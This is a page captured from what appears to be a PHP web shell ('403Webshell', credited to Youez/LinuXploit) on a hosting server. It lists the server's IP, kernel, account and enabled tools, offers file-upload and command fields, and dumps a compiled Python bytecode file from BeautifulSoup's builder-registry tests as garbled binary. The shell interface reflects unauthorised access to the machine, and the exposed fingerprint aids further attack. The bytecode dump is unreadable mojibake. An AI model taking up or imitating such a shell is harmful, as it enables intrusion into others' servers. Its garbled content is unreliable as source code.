403Webshell
Server IP : 216.238.111.58  /  Your IP : 216.73.217.34
Web Server : LiteSpeed
System : Linux hosting.smartskills.com.br 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
User : skillsitcom ( 1002)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/bs4/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/bs4/tests/__pycache__/test_builder_registry.cpython-36.pyc
3

c�T��@s�dZddlZddlZddlmZddlmZmZm	Z	yddlm
Z
dZWnek
r`dZYnXyddlm
Z
mZdZWnek
r�dZYnXGd	d
�d
ej�ZGdd�dej�ZdS)
zTests of the builder registry.�N)�
BeautifulSoup)�builder_registry�HTMLParserTreeBuilder�TreeBuilderRegistry)�HTML5TreeBuilderTF)�LXMLTreeBuilderForXML�LXMLTreeBuilderc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�BuiltInRegistryTestz@Test the built-in registry with the default builders registered.cCs`tr|jtjdd�t�tr0|jtjdd�t�|jtjdd�t�tr\|jtjdd�t�dS)N�fast�htmlZ
permissive�xml�strict�html5lib)	�LXML_PRESENT�assertEqual�registry�lookuprrr�HTML5LIB_PRESENTr)�self�r�+/usr/lib/python3.6/test_builder_registry.py�test_combination sz$BuiltInRegistryTest.test_combinationcCsjtr*|jtjd�t�|jtjd�t�n<|jtjd�d�trT|jtjd�t�n|jtjd�t�dS)Nrr)	rrrrrrrrr)rrrr�test_lookup_by_markup_type.sz.BuiltInRegistryTest.test_lookup_by_markup_typecCsXtr,|jtjdd�t�|jtjdd�t�trB|jtjd�t�|jtjd�t�dS)NZlxmlrrrzhtml.parser)	rrrrrrrrr)rrrr�test_named_library9sz&BuiltInRegistryTest.test_named_libraryc
CsJtjdd��"}tddd�tdddgd�WdQRX|jttddd�dS)NT)�record�r)�featuresr
zno-such-feature)�warnings�catch_warningsrZassertRaises�
ValueError)r�wrrr�*test_beautifulsoup_constructor_does_lookupFs
z>BuiltInRegistryTest.test_beautifulsoup_constructor_does_lookupN)�__name__�
__module__�__qualname__�__doc__rrrr!rrrrr	s

r	c@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�RegistryTestz.Test the TreeBuilderRegistry class in general.cCst�|_dS)N)rr)rrrr�setUpYszRegistryTest.setUpcGs,tddj|�tfd|i�}|jj|�|S)NZBuilder_�_r)�type�join�objectr�register)rZfeature_list�clsrrr�builder_for_features\sz!RegistryTest.builder_for_featurescCs2|j�}|j|jjd�d�|j|jj�|�dS)N�foo)r.rrr)r�builderrrr�test_register_with_no_featurescsz+RegistryTest.test_register_with_no_featurescCs8|jdd�}|j|jjd�|�|j|jjd�|�dS)Nr/�bar)r.rrr)rr0rrr�0test_register_with_features_makes_lookup_succeednsz=RegistryTest.test_register_with_features_makes_lookup_succeedcCs$|jdd�}|j|jjd�d�dS)Nr/r2�baz)r.rrr)rr0rrr�4test_lookup_fails_when_no_builder_implements_featuresszARegistryTest.test_lookup_fails_when_no_builder_implements_featurecCs*|jd�}|jd�}|j|jj�|�dS)Nr/r2)r.rrr)r�builder1�builder2rrr�Ctest_lookup_gets_most_recent_registration_when_no_feature_specifiedws

zPRegistryTest.test_lookup_gets_most_recent_registration_when_no_feature_specifiedcCs|j|jj�d�dS)N)rrr)rrrr�2test_lookup_fails_when_no_tree_builders_registered|sz?RegistryTest.test_lookup_fails_when_no_tree_builders_registeredcCsv|jd�}|jd�}|jddd�}|jddd�}|jd�}|jd�}|j|jjdd�|�|j|jjddd�|�dS)Nr/r2r4Zquux)r.rrr)rZhas_oneZ
has_the_otherZhas_both_earlyZ
has_both_lateZ	lacks_onerrr�<test_lookup_gets_most_recent_builder_supporting_all_featuress



zIRegistryTest.test_lookup_gets_most_recent_builder_supporting_all_featurescCs2|jdd�}|jdd�}|j|jjdd�d�dS)Nr/r2r4)r.rrr)rr6r7rrr�:test_lookup_fails_when_cannot_reconcile_requested_features�szGRegistryTest.test_lookup_fails_when_cannot_reconcile_requested_featuresN)
r"r#r$r%r'r.r1r3r5r8r9r:r;rrrrr&Vsr&)r%ZunittestrZbs4rZbs4.builderrrrrrr�ImportErrorrrrZTestCaser	r&rrrr�<module>s 

9

Youez - 2016 - github.com/yon3zu
LinuXploit